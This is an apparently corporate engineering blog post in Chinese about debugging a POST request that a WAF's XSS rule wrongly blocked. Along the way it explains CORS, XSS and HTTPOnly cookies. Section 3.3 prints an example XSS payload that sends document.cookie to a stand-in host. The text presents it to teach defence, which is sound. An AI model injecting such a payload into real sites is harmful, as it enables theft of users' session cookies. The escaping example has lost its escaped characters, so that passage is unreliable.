層層剖析一次 HTTP POST 請求事故
作者 ｜ vivo 互聯網服務器團隊- Wei Ling
本文主要講述的是如何根據公司網絡架構和業務特點，鎖定正常請求被誤判為跨域的原因并解決。
一、問題描述
某一個業務后臺在表單提交的時候，報跨域錯誤，具體如下圖：
從圖中可看出，報錯原因為HTTP請求發送失敗，由此，需先了解HTTP請求完整鏈路是什么。
HTTP請求一般經過3個關卡，分別為DNS、Nginx、Web服務器，具體流程如下圖：
- 瀏覽器發送請求首先到達當地運營商DNS服務器，經過域名解析獲取請求 IP 地址
- 瀏覽器獲取 IP 地址后，發送HTTP請求到達Nginx，由Nginx反向代理到Web服務端
- 最后，由web服務端返回相應的資源
了解HTTP基本請求鏈路后，結合問題，進行初步調查，發現此form表單是application/json格式的post提交。同時，此業務系統采用了前后端分離的架構方式(頁面域名和后臺服務域名不同 ), 并且在Nginx已經配置跨域解決方案。基于此，我們進行分析。
二、問題排查步驟
第一步：自測定位
既然是form表單，我們采用控制變量法，嘗試對每一個字段進行修改后提交測試。在多次試驗后，鎖定表單中的moduleExport 字段的變化會導致這個問題。
考慮到moduleExport字段在業務上是一段JS代碼，我們嘗試對這段JS代碼進行刪除/修改，發現：當字段moduleExport中的這段js代碼足夠小的時候，問題消失。
基于上述發現，我們第一個猜想是：會不會是HTTP響應方的請求body大小限制導致了這個問題。
第二步：排查 HTTP 請求 body 限制
由于采用前后端分離，真實的請求是由 XXX.XXX.XXX 這個內網域名代表的服務進行響應的。而內網域名的響應鏈如下：
那么理論上，如果是HTTP請求body的限制，則可能發生在 LVS 層或者Nginx層或者Tomcat。我們一步步排查：
首先排查LVS層。若LVS層故障，則會出現網關異常的問題，返回碼會為502。故此，通過抓包查看返回碼，從下圖可看出，返回碼為418，故而排除LVS異常的可能
其次排查Nginx 層。Nginx層的HTTP配置如下:
我們看到，在Nginx層，最大支持的HTTP請求body為50m， 而我們這次事故的form請求表單，大約在2M， 遠小于限制， 所以：不是Nginx 層HTTP請求body的限制造成的。
然后排查 Tomcat 層，查看 Tomcat 配置：
我們發現， Tomcat 對于最大post請求的size限制是-1， 語義上表示為無限制，所以： 不是 Tomcat 層HTTP請求body的限制造成的。
綜上，我們可以認為：此次問題和HTTP請求body的大小限制無關。
那么問題來了，如果不是這兩層導致的，那么還會有別的因素或者別的網絡層導致的嗎?
第三步：集思廣益
我們把相關的運維方拉到了一個群里面進行討論，討論分兩個階段
【第一階段】
運維方同學發現 Tomcat 是使用容器進行部署的，而容器和nginx層中間，存在一個容器自帶的nameserver層——ingress。我們查看ingress的相關配置后，發現其對于HTTP請求body的大小限制為3072m。排除是ingress的原因。
【第二階段】
安全方同學表示，公司為了防止XSS攻擊，會對于所有后臺請求，都進行XSS攻擊的校驗，如果校驗不通過，會報跨域錯誤。
也就是說，理論上完整的網絡層調用鏈如下圖：
并且從WAF的工作機制和問題表象上來看，很有可能是WAF層的原因。
第四步：WAF 排查
帶著上述的猜測，我們重新抓包，嘗試獲取整個HTTP請求的optrace路徑，看看是不是在WAF層被攔截了，抓包結果如下：
從抓包數據上來看，status為complete代表前端請求發送成功，返回碼為418，而optrace中的ip地址經查詢為WAF服務器ip地址。
綜上而言，form表單中的moduleExport字段的變化很可能導致在WAF層被攔截。而出現問題的moduleExport字段內容如下：
module.exports = {
"labelWidth": 80,
"schema": {
"title": "XXX",
"type": "array",
"items":{
"type":"object",
"required":["key","value"],
"properties":{
"conf":{
"title":"XXX",
"type":"string"
},
"configs":{
"title":"XXX",
"type":"array",
"items":{
config: {
validator: function(value, callback) {
// 至少填寫一項
if(!value || !Object.keys(value).length) {
return callback(new Error('至少填寫一項'))
}
callback()
}
}
}
我們進行一個字段一個字段排查后，鎖定
module.exports.items.properties.configs.config.validator字段會觸發WAF的攔截機制：請求包過WAF模塊時會對所有的攻擊規則都會進行匹配，若屬于高危風險規則，則觸發攔截動作。
三、 問題分析
整個故障的原因，是業務請求的內容觸發了WAF的XSS攻擊檢測。那么問題來了
- 為什么需要WAF
- 什么是XSS攻擊
在說明XSS之前，先得說清楚瀏覽器的跨域保護機制
3.1 跨域保護機制
現代瀏覽器都具備‘同源策略’，所謂同源策略，是指只有在地址的：
- 協議名 HTTPS，HTTP
- 域名
- 端口名
均一樣的情況下，才允許訪問相同的cookie、localStorage或是發送Ajax請求等等。若在不同源的情況下訪問，就稱為跨域。而在日常開發中，存在合理的跨域需求，比如此次問題故障對應的系統，由于采用了前后端分離，導致頁面的域名和后臺的域名必然不相同。那么如何合理跨域便成了問題。
常見的跨域解決方案有：IFRAME, JSONP, CORS三種。
- IFRAME 是在頁面內部生成一個IFRAME，并在IFRAME內部動態編寫JS進行提交。用到此技術的有早期的EXT框架等等。
- JSONP 是將請求序列化成一個string，然后發起一個JS請求，帶上string。此做法需要后臺支持，并且只能使用GET請求。在當前的業內已經廢除此方案。
- CORS 協議的應用比較廣泛，并且此次出事故的系統是采用了CORS進行前后端分離。那么，什么是CORS協議呢?
3.2 CORS協議
CORS(Cross-Origin Resource Sharing)跨源資源分享是解決瀏覽器跨域限制的W3C標準(官方文檔)，其核心思路是：在HTTP的請求頭中設置相應的字段，瀏覽器在發現HTTP請求的相關字段被設置后，則會正常發起請求，后臺則通過對這些字段的校驗，決定此請求是否是合理的跨域請求。
CORS協議需要服務器的支持(非服務器的業務進程)， 比如 Tomcat 7及其以后的版本等等。
對于開發者來說，CORS通信與同源的AJAX通信沒有差別，代碼完全一樣。瀏覽器一旦發現AJAX請求跨源，就會自動添加一些附加的頭信息，有時還會多出一次附加的請求，但用戶不會有感覺。
因此，實現CORS通信的關鍵是服務器(服務器端可判斷，讓哪些域可以請求)。只要服務器實現了CORS協議，就可以跨源通信。
雖然CORS解決了跨域問題，但引入了風險，如XSS攻擊，因此在到達服務器之前需加一層Web應用防火墻(WAF)，它的作用是：過濾所有請求，當發現請求是跨域時，會對整個請求的報文進行規則匹配，如果發現規則不匹配，則直接報錯返回(類似于此次案例中的418)。
整體流程如下：
不合理的跨域請求，我們一般認為是侵略性請求，這一類的請求，我們視為XSS攻擊。那么廣義而言的XSS攻擊又是什么呢?
3.3 XSS 攻擊機制
XSS為跨站腳本攻擊(Cross-Site Scripting)的縮寫，可以將代碼注入到用戶瀏覽的網頁上，這種代碼包括 HTML 和 JavaScript。
例如有一個論壇網站，攻擊者可以在上面發布以下內容：
<script>location.href="http://domain.com/?c=" + document.cookiescript>
之后該內容可能會被渲染成以下形式：
<p><script>location.href="http://domain.com/?c=" + document.cookie</script></p>
另一個用戶瀏覽了含有這個內容的頁面將會跳轉到 domain.com 并攜帶了當前作用域的 Cookie。如果這個論壇網站通過 Cookie 管理用戶登錄狀態，那么攻擊者就可以通過這個 Cookie 登錄被攻擊者的賬號了。
XSS通過偽造虛假的輸入表單騙取個人信息、顯示偽造的文章或者圖片等方式可竊取用戶的 Cookie，盜用Cookie后就可冒充用戶訪問各種系統，危害極大。
下面給出2種XSS防御機制。
3.4 XSS 防御機制
XSS防御機制主要包括以下兩點：
3.4.1 設置 Cookie 為 HTTPOnly
設置了 HTTPOnly 的 Cookie 可以防止 JavaScript 腳本調用，就無法通過 document.cookie 獲取用戶 Cookie 信息。
3.4.2 過濾特殊字符
例如將 < 轉義為<,將> 轉義為>，從而避免 HTML 和 Jascript 代碼的運行。
富文本編輯器允許用戶輸入 HTML 代碼，就不能簡單地將 < 等字符進行過濾了，極大地提高了 XSS 攻擊的可能性。
富文本編輯器通常采用 XSS filter 來防范 XSS 攻擊，通過定義一些標簽白名單或者黑名單，從而不允許有攻擊性的 HTML 代碼的輸入。
以下例子中，form 和 script 等標簽都被轉義，而 h 和 p 等標簽將會保留。
<h1 id="title">XSS Demo</h1>
<p>123</p>
<form>
<input type="text" name="q" value="test">
</form>
<pre>hello</pre>
<script type="text/javascript">
alert(/xss/);
</script>
<h1>XSS Demo</h1>
<p>123</p>
轉義后：
<h1>XSS Demo</h1>
<p>123</p>
<form>
<input type="text" name="q" value="test">
</form>
<pre>hello</pre>
<script type="text/javascript">
alert(/xss/);
</script>
四、問題解決
在確定問題后，讓安全團隊修改WAF的攔截規則后，問題消失。
最后，對此問題進行總結。
五、問題總結
縱覽整個排查過程，最耗費資源的工作集中于問題定位：到底是哪個模塊出現了問題。而定位模塊的最大難點在于：對于網絡全鏈路的不了解(之前并不知曉WAF層的存在)。
那么，針對類似的問題，我們后面應該如何去加速問題的解決呢?我認為有兩點需要注意：
- 采用控制變量法， 精準定位到問題的邊界——什么時候能出現，什么時候不能出現。
- 熟悉每一個模塊的存在，以及每一個模塊的職責邊界和風險可能。
下面來逐個解釋：
5.1 確定問題邊界
我們在一開始，確定是form表單導致的問題后，我們就逐個字段進行修改驗證，最終確定其中某個字段導致的現象。在定位到具體的問題發生地后，由將之前鎖定的字段進行拆解，逐步分析字段中每個屬性，從而最終確定XX屬性的值觸犯了WAF的規則機制。
5.2 定位模塊錯誤
在此案例中，跨域拒絕的故障主要是網絡層，那么我們就必須要摸清楚整個業務服務的網絡層次結構。然后對每一層的情況進行分析。
- 在Nginx層，我們對配置文件進行分析
- 在ingress層，我們對其中的配置規則進行分析
- 在Tomcat層，我們對server.xml的屬性進行分析
總結而言，我們必須熟悉每一個模塊的職責，并且知曉如何判斷每一個模塊是否在整個鏈路中正常工作，只有基于此，我們才能將問題原因的范圍逐步縮小，從而最后獲得答案。
